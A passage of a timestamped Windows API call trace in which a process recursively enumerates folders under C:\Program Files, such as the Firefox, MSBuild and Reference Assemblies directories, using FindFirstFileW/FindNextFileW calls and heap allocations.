hFindFile=0x42803c0) returned 1 [0055.246] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.246] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.247] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.247] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0055.247] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0055.247] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0055.247] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0055.247] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0055.247] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0055.247] FindClose (in: hFindFile=0x4280440 | out: hFindFile=0x4280440) returned 1 [0055.247] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.247] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.248] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.248] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0055.248] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0055.248] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0055.249] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0055.249] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0055.249] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0055.249] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0055.249] FindClose (in: hFindFile=0x42804c0 | out: hFindFile=0x42804c0) returned 1 [0055.249] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0055.249] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0055.249] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0055.249] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0055.250] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0055.251] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0055.251] FindClose (in: hFindFile=0x4280240 | out: hFindFile=0x4280240) returned 1 [0055.251] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0055.978] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.978] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.978] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.979] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.979] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.979] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0055.979] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\browser\\extensions") returned 51 [0055.979] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\extensions\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x4280540 [0055.980] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.980] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.980] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0055.980] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0055.980] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0055.980] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.980] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0055.980] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\browser\\features") returned 49 [0055.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\features\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x4280240 [0055.981] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.981] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.981] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.981] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.981] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.981] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.982] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.982] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.982] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.982] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0055.982] FindClose (in: hFindFile=0x4280240 | out: hFindFile=0x4280240) returned 1 [0055.982] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0055.982] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.982] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.983] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0055.983] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\browser\\VisualElements") returned 55 [0055.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\VisualElements\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x4280440 [0055.983] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.983] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.983] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.983] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0055.983] FindClose (in: hFindFile=0x4280440 | out: hFindFile=0x4280440) returned 1 [0055.983] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0055.983] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0055.983] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0055.983] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0055.986] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.986] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.986] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.986] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.986] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.986] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0055.986] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\defaults") returned 41 [0055.986] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0x4280240 [0055.987] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.987] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.987] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42e3ed8 [0055.987] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\defaults\\pref") returned 46 [0055.987] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\defaults\\pref\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x42804c0 [0055.987] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.987] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.987] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0055.987] FindClose (in: hFindFile=0x42804c0 | out: hFindFile=0x42804c0) returned 1 [0055.988] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ed8 | out: hHeap=0x690000) returned 1 [0055.988] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0055.988] FindClose (in: hFindFile=0x4280240 | out: hFindFile=0x4280240) returned 1 [0055.988] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0055.988] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.988] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.989] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0055.989] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\dictionaries") returned 45 [0055.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0x4280340 [0055.989] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.989] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.989] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.989] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0055.989] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0055.989] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0055.989] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.989] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.989] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.989] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.989] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0055.989] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\fonts") returned 38 [0055.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\fonts\\*", lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0x4280540 [0055.991] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.991] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.991] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0055.991] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0055.991] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0055.991] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.991] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.991] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.991] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0055.991] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\gmp-clearkey") returned 45 [0055.991] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\gmp-clearkey\\*", lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0x4280640 [0055.992] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.992] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.992] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42e3ed8 [0055.992] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\gmp-clearkey\\0.1") returned 49 [0055.992] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\gmp-clearkey\\0.1\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x4280800 [0055.992] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.992] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.992] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.992] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0055.992] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0055.993] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ed8 | out: hHeap=0x690000) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0055.993] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0055.993] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.994] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.995] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0055.995] lstrlenW (lpString="C:\\Program Files\\Mozilla Firefox\\uninstall") returned 42 [0055.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0x4280640 [0055.995] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.995] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.995] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.995] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.995] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0055.995] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0055.996] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0055.996] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.996] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.996] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.996] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.996] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.996] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0055.996] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0055.996] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0055.997] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0055.997] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0055.997] lstrlenW (lpString="C:\\Program Files\\MSBuild") returned 24 [0055.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280580 [0055.997] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.997] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0055.997] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0055.998] lstrlenW (lpString="C:\\Program Files\\MSBuild\\Microsoft") returned 34 [0055.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0x4280800 [0055.998] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.998] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0055.998] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42e3ed8 [0055.998] lstrlenW (lpString="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned 62 [0055.998] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0x42800c0 [0055.998] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.998] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.998] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42f3ee0 [0055.998] lstrlenW (lpString="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned 67 [0055.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0x4280240 [0055.999] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.999] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.999] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0055.999] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0055.999] FindClose (in: hFindFile=0x4280240 | out: hFindFile=0x4280240) returned 1 [0055.999] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ee0 | out: hHeap=0x690000) returned 1 [0055.999] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0055.999] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42f3ee0 [0055.999] lstrlenW (lpString="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned 67 [0055.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0x4280100 [0056.000] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0056.000] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0056.000] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0056.000] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0056.000] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0056.000] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ee0 | out: hHeap=0x690000) returned 1 [0056.000] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 0 [0056.000] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0056.000] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ed8 | out: hHeap=0x690000) returned 1 [0056.000] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 0 [0056.000] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0056.002] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0056.003] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0056.003] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0056.003] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0056.003] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0056.003] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0056.003] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies") returned 37 [0056.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280240 [0056.003] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.003] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.003] FindNextFileW (in: hFindFile=0x4280240, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0056.003] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0056.003] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft") returned 47 [0056.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x32af584 | out: 